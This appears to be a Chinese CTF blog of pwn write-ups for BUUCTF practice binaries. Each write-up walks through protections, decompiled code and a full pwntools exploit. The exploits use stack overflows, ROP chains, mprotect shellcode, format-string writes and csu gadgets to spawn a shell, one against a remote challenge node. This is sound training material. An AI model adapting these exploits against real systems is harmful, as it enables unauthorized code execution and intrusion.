[OGeek2019]babyrop
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec ogeek-babyrop
[*] '/home/ios/APwn/buuctf/ogeek-babyrop'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
简单运行程序测试后查看ida
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h]
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
读取一个随机数 4 size
执行sub_804871F 返回到v2
执行sub_80487D0(v2)
跟进 sub_804871F
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s; // [esp+Ch] [ebp-4Ch]
char buf[7]; // [esp+2Ch] [ebp-2Ch]
unsigned __int8 v5; // [esp+33h] [ebp-25h]
ssize_t v6; // [esp+4Ch] [ebp-Ch]
memset(&s, 0, 0x20u);
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", a1);
v6 = read(0, buf, 0x20u);
buf[v6 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return v5;
}
首先看v6=用户输入参数
v1=buf的长度
进行str 字符串比较如果不相等就exit
因为strlen遇到\x00会终止
如果将\x00为字符串首位 则strlen的结果为0
所以strncmp(buf, &s, v1)就只会对比长度0位
从而达到绕过
这里要注意会返回一个值v5 而v5为接下来需要的read的size
可以看到 buf+7=v5
我们只需要构造\x00+任意6size的字符+长度 即可
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf; // [esp+11h] [ebp-E7h]
if ( a1 == 127 )
result = read(0, &buf, 0xC8u);
else
result = read(0, &buf, a1);
return result;
}
看到 a1可以控制长度 而a1为return的 v5
且整个程序没用到puts函数 而是用到了write
所以 leak是要使用write函数偏移且重新载入main函数
leak addr
from pwn import *
context.log_level='debug'
p=process('./ogeek-babyrop')
elf=ELF('ogeek-babyrop')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
write_got=elf.got['write']
write_plt=elf.sym['write']
p.sendline("\x00"+"a"*6+"\xff")
log.info(p.recvuntil('Correct\n'))# 这里有坑 注意\n
leak = 'A'*0xe7+'b'*4+p32(write_plt)+p32(0x8048825)+p32(1)+p32(write_got)+p32(4)
#构造leak回环
p.send(leak)
write=u32(p.recv(4))
print hex(write)
getshell
getshell就比较容易了
from pwn import *
context.log_level='debug'
p=process('./ogeek-babyrop')
elf=ELF('ogeek-babyrop')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
write_got=elf.got['write']
write_plt=elf.sym['write']
p.sendline("\x00"+"a"*6+"\xff")
log.info(p.recvuntil('Correct\n'))# /
leak = 'A'*0xe7+'b'*4+p32(write_plt)+p32(0x8048825)+p32(1)+p32(write_got)+p32(4)
p.send(leak)
write=u32(p.recv(4))
print hex(write)
p.sendline("\x00"+"a"*6+"\xff")
log.info(p.recvuntil('Correct\n'))# /
system=write-libc.sym['write']+libc.sym['system']
binsh=write-libc.sym['write']+next(libc.search('/bin/sh'))
payload1='A'*0xe7+'b'*4+p32(system)+p32(0x1553155)+p32(binsh)
p.sendline(payload1)
p.interactive()
get_started_3dsctf_2016-Pwn
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-38h]
printf("Qual a palavrinha magica? ", v4);
gets(&v4);
return 0;
}
明显的栈溢出
void __cdecl get_flag(int a1, int a2)
{
int v2; // eax
int v3; // esi
unsigned __int8 v4; // al
int v5; // ecx
unsigned __int8 v6; // al
if ( a1 == 0x308CD64F && a2 == 0x195719D1 )
{
v2 = fopen("flag.txt", "rt");
v3 = v2;
v4 = getc(v2);
if ( v4 != 255 )
{
v5 = (char)v4;
do
{
putchar(v5);
v6 = getc(v3);
v5 = (char)v6;
}
while ( v6 != 255 );
}
fclose(v3);
}
}
给了个get flag函数
检查保护
[*] '/home/ios/APwn/buuctf/get_started_3dsctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
基本getshell思路
1.利用栈溢出跳转到v2 = fopen(“flag.txt”, “rt”); 地址处即可读到flag
2.利用mprotect函数修改程序地址可读可写可执行 布置shellcode getshell
过程一
gdb-peda$ file get_started_3dsctf_2016
Reading symbols from get_started_3dsctf_2016...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x8048a20
gdb-peda$ pattern create 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
gdb-peda$ r
gdb-peda$ c
► f 0 41416341
Program received signal SIGSEGV (fault address 0x41416341)
gdb-peda$ pattern offset 0x41416341
1094804289 found at offset: 56
得到偏移后覆盖ret为 fopen(“flag.txt”, “rt”);地址
from pwn import *
p=process('./get_started_3dsctf_2016')
payload='a'*56+p32(0x80489B8)
p.sendline(payload)
#gdb.attach(p)
p.interactive()
过程二
来自引用https://blog.csdn.net/roland_sun/article/details/33728955\
在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性
#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问
利用描述:
Start:需要修改的起始地址
len:该段大小 通过End-Start 可以得到size
prot:设置地址段权限 可读:r 4 可写:w 2 可执行:x 1
在gdb中找一个权限较高的地址
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x080ea000 r-xp /home/ios/APwn/buuctf/get_started_3dsctf_2016
0x080ea000 0x080ec000 rw-p /home/ios/APwn/buuctf/get_started_3dsctf_2016
0x080ec000 0x0810f000 rw-p [heap]
0xf7ff9000 0xf7ffc000 r--p [vvar]
0xf7ffc000 0xf7ffe000 r-xp [vdso]
0xfffdd000 0xffffe000 rw-p [stack]
选择一段 0x080ea000 0x080ec000 rw-p
利用栈溢出 覆盖ret到mprotect函数+rop_gadget+传递参数修改权限为rwx
from pwn import *
p=process('./get_started_3dsctf_2016')
#gdb.attach(p)
ss=0x080ea000#size=0x2000
mprotect=0x806ec80
main=0x8048a20
pop3=0x080509a5# pop ebx ; pop esi ; pop edi ; ret
payload='a'*56+p32(mprotect)+p32(pop3)+p32(ss)+p32(0x2000)+p32(7)+p32(main)
#rwx 4 2 1
p.sendline(payload)
gdb.attach(p)
修改后
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 f7fcbfd9 __kernel_vsyscall+9
f 1 806e162 __read_nocancel+24
f 2 8051ab9 _IO_new_file_underflow+265
f 3 80548ac _IO_default_uflow+44
f 4 804f749 gets+281
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x080ea000 r-xp /home/ios/APwn/buuctf/get_started_3dsctf_2016
0x080ea000 0x080ec000 rwxp /home/ios/APwn/buuctf/get_started_3dsctf_2016
0x080ec000 0x080ed000 rw-p mapped
0x08891000 0x088b3000 rw-p [heap]
0xf7fc8000 0xf7fcb000 r--p [vvar]
0xf7fcb000 0xf7fcd000 r-xp [vdso]
0xff90b000 0xff92c000 rw-p [stack]
gdb-peda$
可以看到成功修改
接着要继续利用rop构造read读入shellcode到0x080ea000 并构造完后返回到0x080ea000 执行shellcode
ss=0x080ea000#size=0x2000
mprotect=0x806ec80
pop3=0x080509a5# pop ebx ; pop esi ; pop edi ; ret
shellcode=asm(shellcraft.sh())
payload='a'*56+p32(mprotect)+p32(pop3)+p32(ss)+p32(0x2000)+p32(7)+p32(read_plt)+p32(pop3)+p32(0)+p32(ss)+p32(0x100)+p32(ss)
#rwx 4 2 1
这里我们一段一段分析payload
payload='a'*56+p32(mprotect)+p32(pop3)+p32(ss)+p32(0x2000)+p32(7)
首先溢出覆盖ret为mprotect函数利用gadget 以堆栈形式pop 传入参数
先传入需要修改权限的地址段 ss
传入ss地址段的长度len
传入权限 rwx=4+2+1=7
0:没有任何权限
4:可读r
2:可写w
1:可执行x
+p32(read_plt)+p32(pop3)+p32(0)+p32(ss)+p32(0x100)+p32(ss)
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
因为上一段gadget为pop pop pop ret 所以
我们ret 到了read 同样传参方式调用read函数
原型
#include <unistd.h>
ssize_t read(int fd, void *buf, size_t count);
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
fd: 是文件描述符,对应0
buf: 为读出数据的缓冲区
count:为读入的输入长度
最后我们由于使用gadget pop pop pop ret
因为read会将shellcode读入ss地址段
我们需要ret到ss地址段来执行shellcode
exp
from pwn import *
p=process('./get_started_3dsctf_2016')
elf=ELF('get_started_3dsctf_2016')
read_plt=elf.sym['read']
#gdb.attach(p)
ss=0x080ea000#size=0x2000
mprotect=0x806ec80
main=0x8048a20
pop3=0x080509a5# pop ebx ; pop esi ; pop edi ; ret
shellcode=asm(shellcraft.sh())
payload='a'*56+p32(mprotect)+p32(pop3)+p32(ss)+p32(0x2000)+p32(7)+p32(read_plt)+p32(pop3)+p32(0)+p32(ss)+p32(0x100)+p32(ss)
#rwx 4 2 1
p.sendline(payload)
p.sendline(shellcode)
#gdb.attach(p)
p.interactive()
[第五空间2019 决赛]PWN5
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec PWN5
[*] '/home/ios/APwn/buuctf/PWN5'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
简单运行程序
猜测存在字符串格式化漏洞 用来泄漏canary 接着 存在输入所以可能存在溢出
int __cdecl main(int a1)
{
unsigned int v1; // eax
int fd; // ST14_4
int result; // eax
int v4; // ecx
unsigned int v5; // et1
char nptr; // [esp+4h] [ebp-80h]
char buf; // [esp+14h] [ebp-70h]
unsigned int v8; // [esp+78h] [ebp-Ch]
int *v9; // [esp+7Ch] [ebp-8h]
v9 = &a1;
v8 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &unk_804C044, 4u);
printf("your name:");
read(0, &buf, 0x63u);
printf("Hello,");
printf(&buf);
printf("your passwd:");
read(0, &nptr, 0xFu);
if ( atoi(&nptr) == unk_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
v5 = __readgsdword(0x14u);
v4 = v5 ^ v8;
if ( v5 != v8 )
sub_80493D0(v4);
return result;
}
发现read处都不存在溢出
但是 main中给出了system(“/bin/sh”)
以及明显的字符串格式化
我们可以利用字符串格式化修改atoi为system函数地址 接着在第二次read输入“bin/sh” 从而getshell
字符串格式化需要测试偏移
一般利用
AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
计算偏移
exp
from pwn import *
p=process('PWN5')
elf=ELF('PWN5')
system=elf.plt['system']
atoi=elf.got['atoi']
log.info(p.recvuntil('your name:'))
payload=fmtstr_payload(10,{atoi:system})
p.sendline(payload)
p.sendline('sh')
p.interactive()
在网上看到还有另外一个思路
因为读入随机数的地址 固定 bss:0x804C044
我们可以修改该地址的随机数为固定值 接着输入相同值即可满足判断 getshell
我们先尝试在0x804C044写入数值
addr=0x804C044
payload=p32(addr)+"%10$n"
def debug(addr = '0x80492A6'):
raw_input('debug:')
gdb.attach(p, "b *" + addr)
debug()
p.sendline(payload)
在080492A6处下断检查0x804C044当前值是否固定
00:0000│ esp 0xffae1790 —▸ 0x804a027 ◂— 'your passwd:'
01:0004│ 0xffae1794 —▸ 0xffae17b8 —▸ 0x804c044 ◂— 0x4
02:0008│ 0xffae1798 ◂— 0x63 /* 'c' */
03:000c│ 0xffae179c ◂— 0x0
04:0010│ 0xffae17a0 —▸ 0xffae17de ◂— 0xffff0000
05:0014│ 0xffae17a4 ◂— 0x3
06:0018│ 0xffae17a8 ◂— 0xc2
07:001c│ 0xffae17ac —▸ 0xf7e1e6bb (handle_intel+107) ◂— add esp, 0x10
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 80492ce
f 1 f7da6637 __libc_start_main+247
gdb-peda$ x/20wx 0x804C044
0x804c044: 0x00000004 0x00000000 0x00000000 0x00000000
0x804c054: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c064: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c074: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c084: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$
可以看到
当前值被修改为了0x00000004
所以我们在输入pass时输入0x00000004即可getshell
exp
from pwn import *
p=process('PWN5')
#elf=ELF('PWN5')
#system=elf.plt['system']
#atoi=elf.got['atoi']
#log.info(p.recvuntil('your name:'))
#payload=fmtstr_payload(10,{atoi:system})
#p.sendline(payload)
#p.sendline('sh')
#p.interactive()
log.info(p.recvuntil('your name:'))
addr=0x804C044
payload=p32(addr)+"%10$n"
def debug(addr = '0x80492A6'):
raw_input('debug:')
gdb.attach(p, "b *" + addr)
debug()
p.sendline(payload)
log.info(p.recvuntil('your passwd:'))
p.sendline(str(0x00000004))
p.interactive()
此payload试了下远程没通 应该是程序权限的原因
我们一字节一字节进行修改
addr=0x804C044
payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)+"%10$hhn%11$hhn%12$hhn%13$hhn"
def debug(addr = '0x80492A6'):
raw_input('debug:')
gdb.attach(p, "b *" + addr)
debug()
p.sendline(payload)
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffe7b120 —▸ 0x804a027 ◂— 'your passwd:'
01:0004│ 0xffe7b124 —▸ 0xffe7b148 —▸ 0x804c044 ◂— 0x10101010
02:0008│ 0xffe7b128 ◂— 0x63 /* 'c' */
03:000c│ 0xffe7b12c ◂— 0x0
04:0010│ 0xffe7b130 —▸ 0xffe7b16e ◂— '13$hhn\n'
05:0014│ 0xffe7b134 ◂— 0x3
06:0018│ 0xffe7b138 ◂— 0xc2
07:001c│ 0xffe7b13c —▸ 0xf7db36bb (handle_intel+107) ◂— add esp, 0x10
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 80492ce
f 1 f7d3b637 __libc_start_main+247
gdb-peda$ x/20wx 0x804C044
0x804c044: 0x10101010 0x00000000 0x00000000 0x00000000
0x804c054: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c064: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c074: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c084: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
看到当前0x804c044值为0x10101010
所以我们输入pass为0x10101010 即可getshell
exp
from pwn import *
p=remote('node3.buuoj.cn',28184)
#p=process('PWN5')
#elf=ELF('PWN5')
#system=elf.plt['system']
#atoi=elf.got['atoi']
#log.info(p.recvuntil('your name:'))
#payload=fmtstr_payload(10,{atoi:system})
#p.sendline(payload)
#p.sendline('sh')
#p.interactive()
log.info(p.recvuntil('your name:'))
addr=0x804C044
payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)+"%10$hhn%11$hhn%12$hhn%13$hhn"
def debug(addr = '0x80492A6'):
raw_input('debug:')
gdb.attach(p, "b *" + addr)
debug()
p.sendline(payload)
log.info(p.recvuntil('your passwd:'))
p.sendline(str(0x10101010))
p.interactive()
ciscn_2019_n_8
题目不难
我的f5解析的有问题
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf((int)"%s", (int)var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 0x11)
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}
查看 scanf读入字符串存入var处
这里f5处的条件为 var的14位要存在且第14位的值为0x11(从0位开始计算)
通过Ghidra解析
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
undefined4 main(void)
{
int iVar1;
undefined4 uVar2;
int in_GS_OFFSET;
EVP_PKEY_CTX *ctx;
iVar1 = *(int *)(in_GS_OFFSET + 0x14);
var._52_4_ = 0;
var._56_4_ = 0;
init(ctx);
puts("What\'s your name?");
__isoc99_scanf(&DAT_0001201a,var);
if ((var._52_4_ | var._56_4_) == 0) {
printf("%s, Welcome!\n",var);
puts("Try do something~");
}
else {
if ((var._52_4_ ^ 0x11 | var._56_4_) == 0) {
system("/bin/sh");
}
else {
printf("something wrong! val is %d",var._0_4_,var._4_4_,var._8_4_,var._12_4_,var._16_4_,
var._20_4_,var._24_4_,var._28_4_,var._32_4_,var._36_4_,var._40_4_,var._44_4_,var._48_4_
,var._52_4_,var._56_4_);
}
}
uVar2 = 0;
if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
uVar2 = __stack_chk_fail_local();
}
return uVar2;
}
if ((var._52_4_ ^ 0x11 | var._56_4_) == 0)
对比分析 可以知道第十四位其实为输入的第53位(从0计算到52)
所以可以得到exp
from pwn import *
context.log_level = 'debug'
p=process('./ciscn_2019_n_8')
payload='a'*52+p32(0x11)
print "payload:"+str(payload)
log.info(p.recvuntil("What's your name?"))
p.sendline(payload)
p.interactive()
not_the_same_3dsctf_2016
checksec
ios@ubuntu:~/APwn/buuctf$ checksec not_the_same_3dsctf_2016
[*] '/home/ios/APwn/buuctf/not_the_same_3dsctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ios@ubuntu:~/APwn/buuctf$
查看下代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+Fh] [ebp-2Dh]
printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
gets(&v4);
return 0;
}
函数很简单 给了gets 存在栈溢出
这里我使用了之前题目的方法
使用 mprotect() 修改一块地址段权限为可读可写可执行
接着rop构造read 在该地址段写入shellcode 从而getshell
如果还是没弄明白的可以参考上文
exp
from pwn import *
context.log_level='debug'
p=process('./not_the_same_3dsctf_2016')
elf=ELF('not_the_same_3dsctf_2016')
read_plt=elf.sym['read']
ss=0x080ea000
mprotect=0x806ED40
pop3=0x0804f420# pop ebx ; pop esi ; pop ebp ; ret
shellcode=asm(shellcraft.sh())
payload='a'*45+p32(mprotect)+p32(pop3)+p32(0x080ea000)+p32(0x2000)+p32(7)+p32(read_plt)+p32(pop3)+p32(0)+p32(ss)+p32(0x100)+p32(ss)
#gdb.attach(p, "b *" + "0x80489E0")
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
[HarekazeCTF2019]baby_rop
###
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec HarekazeCTF2019_babyrop
[*] '/home/ios/APwn/buuctf/HarekazeCTF2019_babyrop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
ios@ubuntu:~/APwn/buuctf$
查看代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-10h]
system("echo -n \"What's your name? \"");
__isoc99_scanf("%s", &v4);
printf("Welcome to the Pwn World, %s!\n", &v4);
return 0;
}
只开了nx且存在栈溢出
发现给了system函数
shift+f12搜索字符串
.data:0000000000601048 00000008 C /bin/sh
LOAD:0000000000400238 0000001C C /lib64/ld-linux-x86-64.so.2
.eh_frame:0000000000400787 00000006 C ;*3$\"
LOAD:000000000040039B 0000000C C GLIBC_2.2.5
LOAD:0000000000400391 0000000A C GLIBC_2.7
.rodata:00000000004006C8 0000001F C Welcome to the Pwn World, %s!\n
LOAD:0000000000400382 0000000F C __gmon_start__
LOAD:0000000000400353 0000000F C __isoc99_scanf
LOAD:0000000000400370 00000012 C __libc_start_main
.rodata:00000000004006A8 0000001D C echo -n \"What's your name? \"
LOAD:0000000000400349 0000000A C libc.so.6
LOAD:0000000000400362 00000007 C printf
LOAD:0000000000400369 00000007 C system
看到也给了/bin/sh 那就很简单了
找一个gadget pop rdi ret。传sh地址 接着ret到system就可以起shell了
exp
from pwn import *
p=process('HarekazeCTF2019_babyrop')
pop_rdi=0x0000000000400683 # pop rdi ; ret
payload="a"*0x10+'b'*8+p64(pop_rdi)+p64(0x601048)+p64(0x400490)
p.sendline(payload)
p.interactive()
ciscn_2019_s_3
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec ciscn_2019_s_3
[*] '/home/ios/APwn/buuctf/ciscn_2019_s_3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
ios@ubuntu:~/APwn/buuctf$
查看源代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
return vuln();
}
main调用vuln
signed __int64 vuln()
{
signed __int64 result; // rax
__asm { syscall; LINUX - sys_read }
result = 1LL;
__asm { syscall; LINUX - sys_write }
return result;
}
汇编 执行syscall 调用系统号 read 接着执行syscall 调用系统号 write
而64位执行syscall时 系统号存入rax
.text:00000000004004ED ; __unwind {
.text:00000000004004ED push rbp
.text:00000000004004EE mov rbp, rsp
.text:00000000004004F1 xor rax, rax
.text:00000000004004F4 mov edx, 400h ; count
.text:00000000004004F9 lea rsi, [rsp+buf] ; buf
.text:00000000004004FE mov rdi, rax ; fd
.text:0000000000400501 syscall ; LINUX - sys_read
.text:0000000000400503 mov rax, 1
.text:000000000040050A mov edx, 30h ; count
.text:000000000040050F lea rsi, [rsp+buf] ; buf
.text:0000000000400514 mov rdi, rax ; fd
.text:0000000000400517 syscall ; LINUX - sys_write
.text:0000000000400519 retn
看汇编可以知道 xor 这里将rax值变为0
查系统调用
0在64位中为系统调用read
继续看代码
.text:0000000000400503 mov rax, 1
这里rax=1 查系统调用
和f5编译过来一致
接着debug测试read 找是否存在溢出
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400519 in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0x30
RBX 0x0
RCX 0x400519 (vuln+44) ◂— ret
RDX 0x30
RDI 0x1
RSI 0x7fffffffdcf0 ◂— 0x4173414125414141 ('AAA%AAsA')
R8 0x4005b0 (__libc_csu_fini) ◂— ret
R9 0x7ffff7de7ac0 (_dl_fini) ◂— push rbp
R10 0x846
R11 0x246
R12 0x4003e0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffde00 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdd00 ◂— 0x41412d4141434141 ('AACAA-AA')
RSP 0x7fffffffdd00 ◂— 0x41412d4141434141 ('AACAA-AA')
RIP 0x400519 (vuln+44) ◂— ret
───────────────────────────────────[ DISASM ]───────────────────────────────────
► 0x400519 ret <0x41412d4141434141>
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rbp rsp 0x7fffffffdd00 ◂— 0x41412d4141434141 ('AACAA-AA')
01:0008│ 0x7fffffffdd08 ◂— 0x413b414144414128 ('(AADAA;A')
02:0010│ 0x7fffffffdd10 ◂— 0x6141414541412941 ('A)AAEAAa')
03:0018│ 0x7fffffffdd18 ◂— 0x4141464141304141 ('AA0AAFAA')
04:0020│ 0x7fffffffdd20 ◂— 0x4147414131414162 ('bAA1AAGA')
05:0028│ 0x7fffffffdd28 ◂— 0x4841413241416341 ('AcAA2AAH')
06:0030│ 0x7fffffffdd30 ◂— 0x4141334141644141 ('AAdAA3AA')
07:0038│ 0x7fffffffdd38 ◂— 0x4134414165414149 ('IAAeAA4A')
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 400519 vuln+44
f 1 41412d4141434141
f 2 413b414144414128
f 3 6141414541412941
f 4 4141464141304141
f 5 4147414131414162
f 6 4841413241416341
f 7 4141334141644141
f 8 4134414165414149
f 9 3541416641414a41
f 10 41416741414b4141
Program received signal SIGSEGV (fault address 0x0)
gdb-peda$ pattern offset 0x41412d4141434141
4702089244242559297 found at offset: 16
gdb-peda$
0x41412d4141434141>
得到存在溢出 偏移为16
.text:00000000004004D6 public gadgets
.text:00000000004004D6 gadgets proc near
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6 push rbp
.text:00000000004004D7 mov rbp, rsp
.text:00000000004004DA mov rax, 0Fh
.text:00000000004004E1 retn
.text:00000000004004E1 gadgets endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2 ; ---------------------------------------------------------------------------
.text:00000000004004E2 mov rax, 3Bh
.text:00000000004004E9 retn
题目中给出一函数gadget 查看汇编可以发现有两段调用号
rax=0xf、rax=0x3B
得到两个系统调用 rt_sigreturn和execve
给了两个系统调用 我们采用execve调用来执行binsh
函数的原型:
int execve(const char *filename, char *const argv[], char *const envp[]);
我们需要完成构造execve(‘bin/sh’,0,0)
64位中我们可以采用通用gadget进行rop
__libc_csu_init
.text:0000000000400580 loc_400580: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400580 mov rdx, r13
.text:0000000000400583 mov rsi, r14
.text:0000000000400586 mov edi, r15d
.text:0000000000400589 call qword ptr [r12+rbx*8]
.text:000000000040058D add rbx, 1
.text:0000000000400591 cmp rbx, rbp
.text:0000000000400594 jnz short loc_400580
.text:0000000000400596
.text:0000000000400596 loc_400596: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596 add rsp, 8
.text:000000000040059A pop rbx
.text:000000000040059B pop rbp
.text:000000000040059C pop r12
.text:000000000040059E pop r13
.text:00000000004005A0 pop r14
.text:00000000004005A2 pop r15
.text:00000000004005A4 retn
此处有三段gadget
gadget1
.text:000000000040059A pop rbx
.text:000000000040059B pop rbp
.text:000000000040059C pop r12
.text:000000000040059E pop r13
.text:00000000004005A0 pop r14
.text:00000000004005A2 pop r15
.text:00000000004005A4 retn
ret后接gadget2
.text:0000000000400580 mov rdx, r13
.text:0000000000400583 mov rsi, r14
.text:0000000000400586 mov edi, r15d
.text:0000000000400589 call qword ptr [r12+rbx*8]
.text:000000000040058D add rbx, 1
.text:0000000000400591 cmp rbx, rbp
.text:0000000000400594 jnz short loc_400580
方便getshell的gadget3
.text:00000000004005A3 分割pop r15 可以得到 pop rdi
本题有区别的地方是 如果使rbp=1 在执行完gadget2后填充56字节到ret是不可行的,填充后会溢出stack 无法构造rop
首先需要确定输入binsh后的地址
在执行syscall前下断 可以找到对应栈地址
接着查看write的输出
看到这里有打印出栈中地址 通过多次debug 确定该地址距离binsh偏移固定
gdb-peda$ p/x 0x7ffc6ae754b8- 0x7ffc6ae753a0
$1 = 0x118
gdb-peda$
所以第一次溢出主要目的写入 binsh以及leak写入地址 控制ret重新载入vuln
gdb.attach(p, "b *" + str(vuln))
payload1="/bin/sh\x00"*2+p64(vuln)
print len(payload1)
p.send(payload1)
base=u64(p.recv()[32:40])
print hex(base)
sh_addr=base-0x118
第二次则需要利用三段gadget进行参数控制 构造execve(‘bin/sh’,0,0)
这里也需要注意 如果rbp=0 时 gadget2 中会满足jnz跳转 跳转后再次执行gadget2
且第一次执行时会call r12,再次跳转会执行payload中gadget2的下一位地址
之后调用gadget3 rdi赋值为sh地址 ret syscall 即可getshell
留个小坑 后面继续搞
exp
from pwn import *
context.log_level='debug'
p=process('./ciscn_2019_s_3')
#define __NR_rt_sigreturn 15
sigreturn=0x4004DA# mov rax, 0Fh
#define __NR_execve 59
execve=0x4004E2# mov rax, 3Bh
gadget1=0x40059A#pop rbx rbp r12 r13 r14 r15
gadget2=0x400580#mov rdx r13 ,mov rsi r14 call r12
gadget3=0x4005A3#pop rdi ret
vuln=0x4004ED
syscall=0x400517
gdb.attach(p, "b *" + str(vuln))
payload1="/bin/sh\x00"*2+p64(vuln)
print len(payload1)
p.send(payload1)
base=u64(p.recv()[32:40])
print hex(base)
sh_addr=base-0x118
#sh_addr+0x50 -> 0x4004E2
payload2="/bin/sh\x00"*2+p64(gadget1)+p64(0)+p64(0)+p64(sh_addr+0x50)+p64(0)+p64(0)+p64(0)+p64(gadget2)+p64(execve)+p64(gadget3)+p64(sh_addr)+p64(syscall)
p.send(payload2)
p.interactive()
jarvisoj_level0
检查保护
ios@ubuntu:~/APwn/buuctf$ checksec level0
[*] '/home/ios/APwn/buuctf/level0'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
查看源代码
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
return read(0, &buf, 0x200uLL);
}
